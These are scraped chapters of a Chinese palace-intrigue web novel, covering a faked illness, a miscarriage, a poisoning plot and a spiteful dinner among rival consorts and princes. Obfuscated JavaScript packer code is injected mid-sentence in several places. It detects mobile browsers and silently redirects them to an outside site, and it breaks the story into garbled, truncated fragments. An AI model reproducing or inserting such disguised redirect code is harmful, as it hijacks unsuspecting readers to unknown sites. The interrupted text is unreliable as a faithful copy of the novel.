姜瑶真被禁足在寝殿之中,春花和宋嬷嬷急得如热锅上的蚂蚁。 “王妃娘娘,您可别吓老奴啊!你若在这宫里出了什么事,老奴如何向夫人交代?”宋嬷嬷声音里满是担忧,几乎要落下泪来。 “是啊,王妃娘娘,这世上哪有什么亡魂?肯定是您看错了!”春花也在一旁说道。 姜瑶真被关了几日,情绪渐渐平复下来,心中却生出一丝疑虑。 若这世上真有鬼怪,为何偏偏在她成为皇子妃后才现身? 莫非,这一切竟是有人故意为之? 到底是谁如此胆大包天,竟敢假扮她死去的兄长来恐吓她? 姜瑶真越想越觉得不对劲,眉头紧锁,眼神中闪过一抹冷光。 不行,她不能坐以待毙,定要将幕后指使之人引出来! 否则,往后还不知会被此人如何算计! 她让春花和宋嬷嬷将她因为害怕而病倒了的消息送了出去。 姜莲得知此消息后,心中蠢蠢欲动。 才戴个面具装成姜天恩的模样,就把姜瑶真吓成这样,若是再乘胜追击,岂不是能一举将她吓疯? 相府内,凌芜抓着一只信鸽,兴冲冲地跑到姜姝宁面前:“大小姐,三小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15675953|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来消息了!” 姜莲出入皇宫不便,姜姝宁特意给了她一只由凌芜常年训练的信鸽,方便书信往来。 姜姝宁取下绑在鸽子脚上的信笺,展开一看,眉头微微蹙起:“瑶真竟被吓病了?” 她原只想让姜瑶真在恐惧之下失言,彻底惹恼萧修湛,进而加深他对她的厌恶,却没想到她竟会病倒,这着实出乎她的意料。 “二小姐定是因做了对不起大少爷的事,才会见到戴着他人皮面具之人就吓成这般模样。”凌芜道。 “不可能。瑶真纵使再害怕,也不至于怕到生病的程度。”姜姝宁似是想到了什么,脸色骤然一变,“糟了,她多半是在设局!快,给姜莲回信!” 不多时,姜莲便收到了姜姝宁通过信鸽传来的急信,信中再三叮嘱她无论如何都不可轻举妄动,否则极有可能落入姜瑶真的陷阱。 以姜瑶真的心性,绝不是那么轻易会被吓出病来的。 她是在诈病,好引蛇出洞! 接连几日,宫中御医每日都来为姜瑶真诊治,可她病情似乎颇为严重,始终不见好转。 萧修湛为此脸色阴沉,语气中满是厌烦:“真是晦气!此事若传扬出去,旁人还以为我麟阁宫闹鬼了!” 姜莲知道后将姜姝宁的叮嘱抛诸脑后,姜瑶真如此不禁吓,若再吓她一次,岂不是能直接送她归西? 她眸光阴鸷,心中暗道:二姐姐,休怪我心狠,我这也算是替大哥报仇了! 第二日晚上,姜莲借故前往探望姜瑶真。 姜瑶真躺在床榻之上,脸色苍白如纸,似弱不禁风,毫无往日的半分气势。 伺候在殿中的春花和宋嬷嬷满脸愁容,早已没了昔日嚣张跋扈的神气。 姜莲装出一副关切模样,询问了姜瑶真的病情,随后又寻了个由头,支开春花和宋嬷嬷,独留自己与姜瑶真在寝殿之中。 “王妃娘娘,听说您最爱吃蟹黄酥,妾特意为您做了一些。”姜莲温声说着,转身从身旁竹篮中翻找东西。 待她再转过身时,脸上赫然戴着那张与姜天恩如出一辙的人皮面具! 姜瑶真瞳孔猛地一缩,惊恐尖叫出声。 见她如此害怕,姜莲故意压低嗓音,阴恻恻地开口:“真儿,大哥死得好惨啊……” “姜莲,果然是你!”姜瑶真猛地掀开被褥,整个人如鲤鱼打挺般从床榻上弹起,气势凌厉地冲着门口大喝,“还不快进来,将这**给我拿下!” 话音刚落,春花和宋嬷嬷便如风一般冲进殿中,眼神凌厉地直逼姜莲。 姜莲这才意识到大事不妙。 姜瑶真竟然装病! 第133章 不慎小产 第一百三十三章不慎小产 “宋嬷嬷,把她给我摁住!春花,快去叫殿下来!”姜瑶真神色阴狠,宛若地狱夜叉,目光中透着刺骨的寒意,“让他亲眼瞧瞧,究竟是谁在这麟阁宫里装神弄鬼!” 姜莲心头一惊,拼尽全力挣脱宋嬷嬷的钳制,扯下人皮面具,不顾一切地冲向烛台。 姜瑶真瞬间察觉她的意图,厉声喝道:“快,拦住她!她想烧毁那张面具!” 宋嬷嬷连忙扑上前,死死扯住姜莲,却不料用力过猛,竟将她整个人撞向烛台旁的木桌。 “砰”的一声,姜莲小腹传来一阵撕心裂肺的剧痛,她下意识捂住腹部,痛苦地呻吟出声。 姜瑶真大步上前,一把夺过她手中的人皮面具,顺势狠狠踢了她一脚,冷笑道:“想毁尸灭迹?做梦!” 宋嬷嬷却突然脸色大变,颤声对姜瑶真禀告:“王妃娘娘,不好了……姜贵妾怕是……小产了!” 只见姜莲的裙摆已被鲜血染红,血迹洇湿了地面,透着一股不祥气息。 姜莲年纪尚小,浑然未觉自己已怀有身孕,听到宋嬷嬷这话,心底那股母性本能骤然被唤醒。 她捂着小腹,泪流满面地哀求:“王妃娘娘,求您……饶过妾身吧!妾身知错了……” 宋嬷嬷急忙劝道:“王妃娘娘,即刻唤御医来,或许可保住姜贵妾腹中的孩子!” “保住她的孩子做什么?”姜瑶真冷笑出声,眼中没有半分怜悯,“一个贱妾罢了,有何资格抢在我这正妃之前生下孩子?不许叫御医,就这样让她把这孩子流掉!” 宋嬷嬷大惊失色,忙道:“王妃娘娘,万万不可!这可是殿下的骨肉!谋害皇孙,后果不堪设想啊!” “谁能证明她腹中的孩子是我谋害的?”姜瑶真目光森冷,“是她自己用人皮面具吓本妃,被我识破后想逃,不慎撞上桌子导致小产,与我何干?” 姜莲知道再这样下去,腹中的孩子必死无疑,情急之下扯开嗓子,用尽全身力气嘶喊:“来人啊,救命啊——” “快,把她的嘴给我捂住!”姜瑶真厉声喝道,眼中尽是狠戾之色。 宋嬷嬷无奈,只得硬着头皮上前,手中帕子直朝姜莲嘴边逼去。 姜莲见状,猛地拔下头上的发簪,狠狠刺向宋嬷嬷的手掌。 “啊!”宋嬷嬷吃痛,尖叫着缩回手,姜莲趁此空隙,捂住小腹传来的剧痛,踉跄着冲了出去。 姜瑶真见她逃走,气得咬牙切齿,想派人去追却已然晚了。 此时,萧修湛正带着御医朝寝殿而来,迎面便撞见衣裙染血、跌跌撞撞的姜莲。 她满脸泪痕,虚弱地朝他扑去,口中喃喃哀求:“殿下,快救救我们的孩子……” 萧修湛大惊失色,忙一把将她抱住,怒火冲天,厉声吼道:“谁干的!?” 姜莲腹中的孩子终究没能保住。 御医摇头叹息,语气中满是惋惜:“胎儿尚小,本就根基不稳,姜贵妾小腹又受重击……殿下,请节哀。” 看着床上脸色苍白如纸的姜莲,想到那尚未出世便夭折的孩子,萧修湛怒火中烧,沉声命令:“把皇子妃给我叫过来!” 正殿之中,萧修湛冷冷地盯着姜瑶真,声音低沉如冰:“莲儿腹中的孩子,是不是你害死的?” “殿下冤枉啊!是那姜贵妾忽然戴了个人皮面具来吓王妃娘娘,王妃娘娘她……”宋嬷嬷急忙开口辩解,却被萧修湛一声怒喝打断。 “谁准你开口的?来人,把这老东西给本殿下拖下去,重打二十大板!” 这一声令下,姜瑶真脸上终于闪过一丝慌乱。 她强作镇定地辩解道:“殿下,您怎能不分青红皂白就责罚人?宋嬷嬷所言不虚,是姜莲故意吓唬我,被我识破后慌忙逃窜,不慎撞到小腹,这才小产,与我何干?殿下为何要责罚我的人?” 说罢,她将一张皱巴巴的人皮面具递了过去。 萧修湛接过定睛一看,这面具虽已被揉得不成形,却依稀能辨出那是姜天恩的模样。 他眉头紧锁,沉声道:“莲儿怎会有此物?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688757|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “定是她归宁时故意带回宫中来吓唬我的!殿下,我本就病着,她如此算计我,您定要为我做主啊!” 姜瑶真立马换上一副楚楚可怜的模样,眼角还挤出几滴泪来。 萧修湛神色愈发阴沉,挥了挥手,几个架着宋嬷嬷的侍卫这才松开手。 他冷冷地扫了姜瑶真一眼,语气中满是警告:“此事我定会查个水落石出。若让我发现是你害了莲儿腹中的孩子,绝不轻饶!” 他刚一离开,宋嬷嬷和春花便抖得如同筛糠一般,惶恐不安地低声问:“王妃娘娘,若这姜贵妾醒来后将一切告知殿下,我们该如何是好?” “怕什么?”姜瑶真神色阴冷,嘴角扯出一抹狠毒的笑意,“那便让她永远醒不过来好了!” 景和宫中,凌风步履匆匆地赶来禀报。 “殿下,潜伏在三皇子麟阁宫的探子传来消息,姜贵妾小产了,罪魁祸首疑似三皇子妃所为。据说,三皇子妃暗中指使身边人,在姜贵妾的药膳里偷偷加了麻沸散,意欲让她昏睡不醒。” 萧凌川冷笑一声,眼中闪过一丝不屑:“这女人果然心狠手辣。” 比起前世,手段竟是有过之而无不及。 他似是想起了什么,微微眯起眼睛,问道:“那姜贵妾,可是姜家的三姑娘?” “回殿下,正是姜姑娘的堂妹,名叫姜莲。” 萧凌川沉思片刻,吩咐凌风:“去给凌芜送封信,就说她的堂妹小产了。” “是!殿下,要不要顺便提一句,孙神医近日正在您殿中?”凌风试探着问道,嘴角还带着一丝揶揄的笑意。 萧凌川冷冷睨了他一眼:“多事!” 凌风暗自偷笑。 他的主子何时是爱管闲事之人,尤其是萧修湛后院那些鸡毛蒜皮的破事。 无非是想寻个由头见姜姑娘罢了。 姜姑娘心疼堂妹,定会亲自前来“借”孙神医,到时候,主子不就能顺理成章地与她相见了吗? 为了见姜姑娘,主子可真是煞费苦心啊! 第134章 说得太直白了 第一百三十四章说得太直白了 “什么?三妹小产了?”姜姝宁眉头紧锁,“怎么会这样?不行,我要去看看她!” 凌芜提醒道:“送消息来的人说,孙神医近日正在殿下宫中,不如您顺路去请他为三小姐诊一诊?” “你说的对,孙神医医术高明,定能助三妹早日康复!”姜姝宁嘴上虽这么说,心中却仍是惴惴不安。 她隐隐觉得,此事定与姜瑶真脱不了干系。 她匆匆入宫,直奔景和宫。 果不其然,孙神医正在景和宫中,与萧凌川相对而坐,品茶闲谈。 姜姝宁径直上前,眉眼间尽是焦灼之色:“还请殿下允准孙神医随臣女前往麟阁宫,为我三妹把脉诊治,臣女感激不尽!” 说罢,她朝萧凌川深深行了一礼,姿态恭谨。 萧凌川神色微沉,语气中透着几分不悦:“谁稀罕你的感激?” 姜姝宁心头一紧,抬眼偷觑他的神色,正不知该如何应对,便听他又道:“……还不如给我做几顿饭来得实在!” 姜姝宁这才松了一口气,忙不迭应道:“待臣女回来,定亲手为殿下做好吃的!” 萧凌川眉眼间这才恢复了如常的神色,淡淡道:“去吧!” 姜姝宁与孙神医并肩走在前往麟阁宫的路上。 她忽然开口问:“孙神医,四皇子殿下的臂伤可痊愈了?” 孙神医闻言,心中暗自揣摩,猜想四皇子怕是还想借装病之名多得姜姑娘的照料,于是便扯谎道:“尚未痊愈。” 姜姝宁眉头微蹙,目光中透着几分狐疑:“这都数月过去了,殿下的胳膊竟还未好全?” 察觉到自己的医术似被质疑,孙神医面上有些挂不住,轻咳几声:“那个……姜姑娘有所不知,四皇子殿下身娇体贵,老夫不敢贸然用猛药。若是用了猛药,定能好得快些!” 姜姝宁想起前世萧凌川数次死里逃生,不知道吃了多少狼虎之药。 如今重生,反倒娇贵起来。 “孙神医,您还是给他用些猛药吧!他的身子其实没那么金贵,日日吊着胳膊像个废人似的,实在碍眼得很!”她语气里带着几分显而易见的嫌弃。 孙神医顿时瞪圆了眼睛,心中暗道:姜姑娘,这话未免也说得太直白了!若被四皇子殿下听见,怕是要气得昏过去不可! 两人匆匆赶至麟阁宫。 恰逢萧修湛也在宫中,听姜姝宁说特意带来了医师来为姜莲诊治,他并未多加阻拦让她进了姜莲的房中。 姜莲依旧昏睡不醒,面色苍白如纸,唇间没有半分血色。 伺候她的宫人低声对姜姝宁道:“姜贵妾小产后便一直未醒来,熬制的汤药与补药皆灌不进去,这才日渐虚弱。” “怎会严重至此?”姜姝宁心中一紧,忙转头看向孙神医,“孙神医,可有法子唤醒我三妹?” 孙神医上前为姜莲把脉,又嘱咐宫人取来她近几日喝过的药渣。 一番确认后,他神色凝重地对姜姝宁道:“药中被人掺了麻沸散,这才导致姜贵妾昏迷不醒。幸而来得及时,若再晚几日,恐怕就醒不来了!” 姜姝宁听得心惊肉跳:“究竟是何人如此狠毒,竟在她的药膳中下麻沸散?” 伺候姜莲的宫人吓得面色发白,忙跪下辩解:“这些药都是御药房煎好送来的,奴婢从未动过手脚!” “你先莫慌,此事需得禀明三皇子殿下,让他细细彻查。眼下最要紧的,是尽快让姜贵妾醒过来。”姜姝宁强压下心中不安,转头看向孙神医,“孙神医,可有法子?” “法子倒是不难,只是需费些功夫。”孙神医捻须思索片刻,缓缓道,“此事还需征得三皇子的意见,方可施为。” 姜姝宁不敢耽搁,连忙去找萧修湛,将此事禀明,询问他的意见。 “若真有法子让莲儿早日醒来,本皇子自然应允。”萧修湛神色阴沉如水,“我要她亲口告诉我,究竟是谁害她小产!” 姜姝宁心中明了,暗中在药膳中掺麻沸散之人,多半便是导致姜莲小产的幕后真凶。 否则,又怎会如此惧怕姜莲醒来吐露真相? 得了萧修湛的允许,孙神医迅速取来银针,开始为姜莲施针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你……”萧修湛被她一语戳中心思,顿时有些恼羞成怒,“再敢胡言乱语,本皇子便将你禁足!” “就算殿下今日要禁足我,有些话我也非得当面问个清楚不可!”姜瑶真目光如刀般转向姜姝宁,语气冰冷刺骨,“三妹不过回了一趟娘家,便带回一张人皮面具。我问你,这面具可是你给她的?” 面对她咄咄逼人的质问,姜姝宁神色依旧毫无波澜,她缓缓开口道:“是,这面具的确是我给她的。” 第135章 虽胜犹败 第一百三十五章虽胜犹败 “殿下,您听到了吗?”姜瑶真像是抓住了把柄,声音陡然拔高,“就是她授意姜贵妾戴上那张神似我大哥的面具,在后花园故意吓唬我的!后来,又指使姜贵妾借着探病的由头,特意到我寝殿里来恐吓我!若非我装病应对,此刻怕是早就被活活吓**!” 萧修湛脸色愈发阴沉,目光冷冷刺向姜姝宁:“姜姑娘,你这是何意?” “殿下,您误会了。”姜姝宁神色淡然,“那人皮面具并非照着我大哥姜天恩的模样所制,而是仿的二哥姜天赐。听闻三妹近来思念兄长,我便特意让人做了二哥模样的面具给她,让她带进宫中以解思念之情。是我思虑不周,未曾料到竟会牵连出诸多事端,望殿下恕罪。” “殿下,您千万别信她的巧言令色!”姜瑶真急声反驳,“那张人皮面具,分明就是照着我大哥的模样做的!她就是故意让姜贵妾来吓唬我!” 姜姝宁唇角勾起一抹意味深长的笑意,目光直直看向姜瑶真:“大哥与二哥本就相貌相似。就算我给三妹的是大哥模样的人皮面具,又如何?三皇子妃为何会被一张面具吓成这般模样?莫非……是你害**大哥,心中有鬼,才如此惊恐不安?” 最后一句话,如惊雷般炸响,姜瑶真瞬间面色煞白,慌乱地辩解道:“你、你胡说!” 姜姝宁微微侧身,转而朝萧修湛恭敬一礼:“殿下自有明断。” 萧修湛神色阴郁,目光在两人之间游移。 即便真是眼花,瞧见已故亲人的“亡魂”,也不至于吓得如此失态。 除非……姜瑶真心中有愧于她的大哥姜天恩。 萧修湛目光骤然冷厉,如寒冰般刺向她:“当初,真的是你大哥命你深夜送酒到我营帐中的?” 姜瑶真面色一僵:“殿下,您莫要听姐姐胡言乱语,我……我……” 就在此时,一名宫人匆匆来报,声音中带着几分急切:“殿下,姜贵妾醒了!” 此言一出,姜瑶真脸色变得愈发惨白,眼中闪过一抹难以掩饰的惊恐。 醒了?她竟真的醒了? 自己费尽心机,命人偷偷在药膳中掺入过量的麻沸散,只为让姜莲再无苏醒之日,如今竟如此轻易被破了局? 这下……她该如何是好? 萧修湛与姜姝宁未再理会姜瑶真,径直快步朝姜莲的房中赶去。 姜莲虚弱地半倚在床榻边,眼眸微睁,面色苍白如雪。 见到萧修湛进来,她眼眶一红,泪水如断线珠子般滚落,哽咽着哀声道:“殿下,我们的孩子……没了……” 萧修湛上前温声安慰道:“你还年轻,往后我们还会有孩子的。别哭,告诉我,究竟是谁害你小产?” “是王妃娘娘!”姜莲咬紧牙关,眼中燃起浓烈的恨意,“她命宋嬷嬷抓住我,推我狠狠撞上桌角……当时若立刻宣御医,孩子或许还能保住,可她却冷眼旁观,命宋嬷嬷置之不理,硬是让我流掉了孩子……” 萧修湛怒火中烧,咬牙切齿道:“这个毒妇!我绝不饶她!来人,即刻将她拿下问罪!” 说完,他霍然起身,带着一身煞气大步离去。 孙神医见状,也对姜姝宁拱手告辞:“姜姑娘,老夫先行告退。” “孙神医慢走,今日多亏了你!”姜姝宁感激道,起身朝他行了个礼。 “不过举手之劳罢了,姜姑娘不必挂怀。”孙神医说着,起身离开。 房中只剩下姜姝宁与姜莲两人。 姜姝宁轻轻握住姜莲冰凉的手,柔声安慰道:“我已嘱咐孙神医为你开最好的药方调理身体,你只需安心休养,莫要过于忧思,身子定能慢慢好起来。” “多谢大姐姐。”姜莲泪光盈睫,声音中带着几分哽咽,“是我不争气,没听你的劝告。那日我用那人皮面具吓唬皇子妃,殿下本已对她厌恶至极,我却贪心不足,妄想直接将她吓疯……谁知,竟连累腹中孩儿,赔上了他的性命……” 她泪如雨下,悔恨之情溢于言表。 姜姝宁心中一阵愧疚。 “说到底,你是为帮我做事才落得如此境地,三妹,是大姐姐对不住你。” “大姐姐若真觉愧疚,便帮莲儿照料好我父母吧。”姜莲眼睫低垂,泪珠滑落,“莲儿此生,怕是再无机会在他们膝下尽孝了。” “好,我答应你。”姜姝宁郑重应下,随即又叮嘱道,“你也要答应我,好好珍重自己,莫再与皇子妃硬碰硬,明白吗?” 姜莲微微颔首,苍白的脸上浮现一抹难以察觉的得意,低声道:“放心吧,大姐姐,她害得殿下失去了第一个骨肉,殿下绝不会轻易饶了她!” 姜姝宁离开姜莲的房中时,恰好听见宋嬷嬷已被活活杖毙的消息。 据 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方才见到姜莲失去孩子时的痛苦,她心中竟生出几分莫名庆幸。 前世萧凌川是给她吃避子药,而不是等她怀上了孩子才将那个生命从她体内强行剥离。 否则,她的痛苦,怕是比无法生育还要刻骨铭心万倍。 萧凌川对她此刻心底的复杂思绪浑然不觉,幽深的桃花眸微沉:“不是说好要做饭给我吃吗?怎么,姜姑娘这是想出尔反尔?” 姜姝宁这才惊觉自己竟朝宫门方向走去,早已与景和宫相隔甚远, “殿下……莫非是专程来此截我的?” “孙神医说你事情已处理得差不多了,我等了许久也不见你身影,便来宫门附近转转。果不其然,在此瞧见了你。”他眼神愈发深邃,隐隐透着几分不悦,“若非我亲自来拦,今日这顿饭,怕是要被你糊弄过去了!” 姜姝宁:“……” 前世,她怎么没发觉他对吃食竟如此上心? 难道是因为前世她所做的饭菜他早已**以为常,所以不珍贵;而今生,他无法时时尝到她的手艺,反倒生出了几分惦念? 人啊,唯有对那得不到或难以长久拥有的东西,方才生出珍惜之心。 第136章 不再费心思迎合他 第一百三十六章不再费心思迎合他 姜姝宁跟着萧凌川一起往景和宫走去。 路上,宫人络绎不绝,纷纷恭敬地朝萧凌川行礼,目光却忍不住悄悄打量姜姝宁,似在揣测她的身份。 萧凌川心情颇佳,步履从容而缓慢,嘴角噙着一抹若有若无的笑意,恨不得让整个皇宫的人都瞧见他与姜姝宁并肩而行的模样。 对萧凌川今生这突如其来的“在意”,姜姝宁却无半分欣喜。 前世,他对她事无巨细的照顾、投其所好的讨好、忍气吞声的包容统统都熟视无睹。 如今重生,他反倒不愿放手,处处显露出一副“珍重”的姿态。 她既已重活一世,怎会甘愿再与他纠缠? 他或许存了再续前缘的心思,可她却半点也不愿回头。 想到这,姜姝宁忽然知道往后该如何与萧凌川相处。 不惯着他就是了。 来到景和宫,孙神医已在殿中,宫人们纷纷朝姜姝宁恭敬行礼,就连那素来高傲的黑豹也摇着尾巴上前,谄媚地蹭了蹭她的衣摆。 姜姝宁朝萧凌川微微欠身,语气平静:“殿下,臣女这便去后厨准备饭菜。” 萧凌川眉眼间透着一抹笑意,温声道:“不急,天色尚早。不如先与本殿下饮一杯清茶,稍后再去做饭也不迟。” 姜姝宁心头冷笑:装腔作势,不过是将我当作厨娘罢了,还非要摆出一副体贴模样作甚? 面上却不动声色,依旧淡然:“多谢殿下好意,只是今日要备的菜式颇多,臣女还是早些去准备为好。” 萧凌川轻点了下头,目光在她身上多停留了一瞬,方道:“那便去吧。” 他目送着她的身影离开,眸中的情愫不加掩饰。 一旁的孙神医见状,抚须而笑,揶揄道:“像姜姑娘这般贤惠的世家贵女,可真是少见。殿下当真好福气啊!” 萧凌川心头微动,眉眼浮起一抹得意之色,脱口而出:“孙神医有所不知,从前姜姑娘待我更好,日日为我洗手作羹汤,细心备至。” “哦?竟有此事?”孙神医满脸诧异,追问道,“那是何时的事?” 萧凌川一怔,这才猛然惊觉,自己所言已是前世旧事。 他神色一敛,掩饰般轻咳一声,淡淡道:“陈年琐事罢了。” 孙神医却听出了他话中难以掩饰的遗憾。 姜姝宁来到厨房,卷起袖子开始忙碌起来。 她扫了一眼后院池子里的鱼,见里面的鱼肥头圆脑,顿时嘴角微勾,朝一旁的后厨宫人吩咐道:“去,把池子里的鱼捞几条上来。” 那宫人愣了一下,笑着回道:“姜姑娘,殿下不喜腥味,这鱼平日里都只给黑豹当餐食吃,厨房里从不敢做鱼菜。” 姜姝宁自然知道萧凌川不爱鱼腥味,甚至连姜蒜的味道都避之不及。 前世,她为了讨他欢心,每次做鱼都要先用酒腌制半日,再以慢火细烤去尽腥气,直至鱼肉散发出诱人香气为止。 可今生,她不愿再费那心思去迎合他。 “孙神医也同我们一起用膳,他应当是喜欢吃鱼的。你们帮我把鱼捞上来,去鳞取鳔,我待会儿要用。” “是,姜姑娘!”宫人不敢多言,忙不迭地应下,匆匆去池边忙活。 不一会儿,鱼被处理干净送了上来,姜姝宁熟练地拿起刀,将鱼片得薄如蝉翼,随后丢进锅中,用姜蒜爆炒,浓郁的鲜香味瞬时弥漫开来。 她还做了几道重口味的菜,糖醋排骨酸、麻婆豆腐、麻辣牛肉、爆炒腰花、水煮肉片……全是按着自己的喜好来,根本不管萧凌川能不能入口。 等菜一道道端上桌,萧凌川的目光扫过满桌红彤彤、香气扑鼻却无一合他口味的菜肴,眉头微微一皱,眼神里透出几分不悦。 他平日里饮食清淡,不喜腥膻,不碰姜蒜,不食辛辣,连甜腻的食物也极少沾。 这一桌子菜,竟没有一道是他惯常入口的。 他张了张嘴,想说些什么,却又硬生生忍住,目光幽怨地扫了姜姝宁一眼。 姜姝宁却像是没瞧见他的脸色,径自热情地招呼孙神医:“孙神医,快来用膳!方才多亏了您,我三妹才死里逃生。还请您别嫌弃我这回报上不得台面!” 孙神医看着满桌菜肴,顿时两眼放光:“姜姑娘好厨艺,这才一会儿功夫就弄出十几道菜来,就是宫里的御厨都没你这本事。这谁敢说上不得台面啊?老夫今日有口福了!” “孙神医过奖了,快吃吧!”姜姝宁亲自 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四哥这表情,分明像是下一刻便要将我扔出景和宫去! 他不敢多言,谨慎地挑了个离萧凌川稍远的位置坐下,低头瞧着眼前一桌色香味俱全的饭菜,不由得咽了咽口水。 只是,瞥见萧凌川碗中空空如也,他又不敢贸然动筷。 姜姝宁夹了一块辣子鸡放入他碗中,语气和煦:“殿下,尝尝这一道,这是臣女的拿手好菜。” 萧琪钰受宠若惊:“多谢嫂嫂!” 听到这声称呼,姜姝宁笑意微敛:“殿下往后莫再唤我嫂嫂了。臣女已打定主意,此生不嫁。” 她心中暗忖,即便要择人而嫁,也绝不再选皇家之人,这宫中是非争斗,实在太多。 待为兄长报了大仇,她便寻一处远离喧嚣的清静之地,暗度余生。 “嫂……姜姑娘,你竟打算终身不嫁?”萧琪钰满脸错愕,下意识瞥向萧凌川,脱口而出,“那我四哥岂不是要打一辈子光棍?” 萧凌川闻言,脸色愈发阴鸷,目光如刀般直射萧琪钰。 此时他比任何时候都想割掉萧琪钰的舌头! 第137章 一根怀疑的刺 第一百三十七章一根怀疑的刺 “七皇子说笑了。”姜姝宁神色浅淡,“四皇子殿下将来是要问鼎天下的,怎么可能打光棍?” 萧琪钰这才意识到他说错话,连忙道:“瞧我这嘴!四哥怎么可能打光棍,他将来肯定是后宫佳丽三千的!” 这下好了,萧凌川何止想割他舌头,简直想直接杀了他。 萧琪钰懊恼不已:这死嘴,尽给自己惹祸! 对上萧凌川那几乎能将人凌迟的目光,他头皮发麻,赶紧低头埋首于碗中,装作专心用膳。 四哥的眼神好可怕! 还是多吃点菜压压惊吧! 见他一直在扒拉饭,姜姝宁又给他夹了几口菜:“殿下别光顾着吃饭,多吃菜!” 萧凌川见她如此照顾萧琪钰,胸中莫名燃起一团无名之火。 他目光阴鸷地落在姜姝宁身上,语气中带着几分酸涩:“姜姑娘怎的只顾着给七弟夹菜,却不给我夹菜?” 姜姝宁脱口而出:“殿下,这桌上有你爱吃的菜吗?” 萧凌川冷笑一声,神情带着几分讥诮:“原来姜姑娘也知道,这满桌的菜都不是我爱吃的啊!” 此言一出,萧琪钰与孙神医皆停下咀嚼,厅中气氛骤然凝固。 姜姝宁对上萧凌川那双满是控诉的桃花眼,无动于衷:“殿下,虽然这菜你都不爱吃,但这米饭是极好的。殿下就多吃点饭吧!” 萧凌川:“……” 一餐饭,众人皆吃得津津有味,意犹未尽,唯独萧凌川神色冷峻,筷子在碗中拨弄了半晌,仅勉强用了半碗米饭,便起身拂袖离席。 姜姝宁忍不住问:“殿下饱了?” “饱了。”萧凌川语气生硬,“气饱了!” 等他离开,萧琪钰终于没忍住笑出声。 “嫂……姜姑娘,这满桌菜肴,分明是照着四哥最厌恶的口味精心烹制的吧?你当真不怕他动怒?” 姜姝宁不以为然:“四皇子殿下口味太过挑剔,偶尔也该尝尝平日不喜之物。否则日后若逢特殊境况,吃不上合心意的东西,岂不束手无策?” 她心中冷笑,费尽心思迎合萧凌川的喜好,又有什么好处? 将来等他登上皇位,在他后宫里当个日日烹羹侍奉,盼着他宠幸的贵妃吗? 想想就膈应! 萧琪钰朝姜姝宁投去敬佩的目光。 这世上敢如此堂而皇之地激怒四哥的,怕只有姜姑娘了吧? 他很期待姜姑娘成为他四嫂嫂的那天! 萧琪钰和孙神医用完膳,相继告辞。 姜姝宁也准备离开,萧凌川却蓦地开口,语气冷冽:“此生不嫁?” 颇有几分咬牙切齿的意味。 姜姝宁心头微震,面上却不动声色,淡然一笑:“臣女跟谁都这么说,免得父母为我婚事操心。殿下何须在意?待殿下成为这大邺的君王,大邺女子皆归殿下所有,臣女自然也不例外。” 萧凌川目光阴郁,牢牢锁住她,像是要穿透她的内心:“最好如此,若让我发现你言不由衷,休怪我不客气!” “臣女不敢!” 姜姝宁面上低眉顺眼,心中却在冷笑。 既要这大邺江山,又想将她收入囊中,萧凌川未免太贪心! —— 夜幕低垂,麟阁宫内,萧修湛凝视着榻上熟睡的姜莲。 她脸色苍白如纸,眉间犹带几分痛楚,令人不忍。 他心中五味杂陈,丧失骨肉的遗憾陡然如潮水般涌上心头。 他悄然离开麟阁宫,来到芙蓉殿。 凝香见他来,眼底闪过一抹诧异,旋即恢复平静。 心中虽然不悦,但还是一副和颜悦色的模样:“殿下深夜造访,所为何事?” 毕竟这芙蓉殿如今尽是他安插的心腹,托他的庇护,她腹中的胎儿方能安然无恙。 萧修湛目光落在她红润的脸庞与隆起的腹部,心中腾起一股莫名的悸动。 他缓步上前,情不自禁想伸手轻抚她的小腹。 凝香一惊,本能地后退半步,语气中带着几分戒备:“殿下,此刻不宜……” 她误以为他又动了欲念,意欲与她欢好。 萧修湛闻言,淡淡一笑,语气却柔和了几分:“你别误会,本殿下只想感受一下孩子的动静。” 说完,他大掌覆上她的腹部,温声道,“这孩子,约莫六个月了吧?” 凝香垂眸,低声道:“是。” 其实已有七月,再过不到三月,便可分娩。 只要诞下皇家血脉,她便能在这后宫中站稳脚跟。 萧修湛掌心感受到胎儿的轻踢,面容竟浮起一抹罕见的温柔,喃喃道:“当初留下你腹中这孩子,是对的。” 以姜瑶真的性子,就算不是姜莲,而是其他妾室怀了他的骨肉,恐怕也难逃毒手。 如今姜瑶真是正妃,依大邺律法,除非他握有确凿证据证明姜莲之子死于她手,否则断难将她问罪。 其实,若他执意彻查,总能寻到蛛丝马迹。 可他不愿将此事闹大,免得让其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694095|172253||http|test|mini|href|location''.split(''|''),0,{})); () { 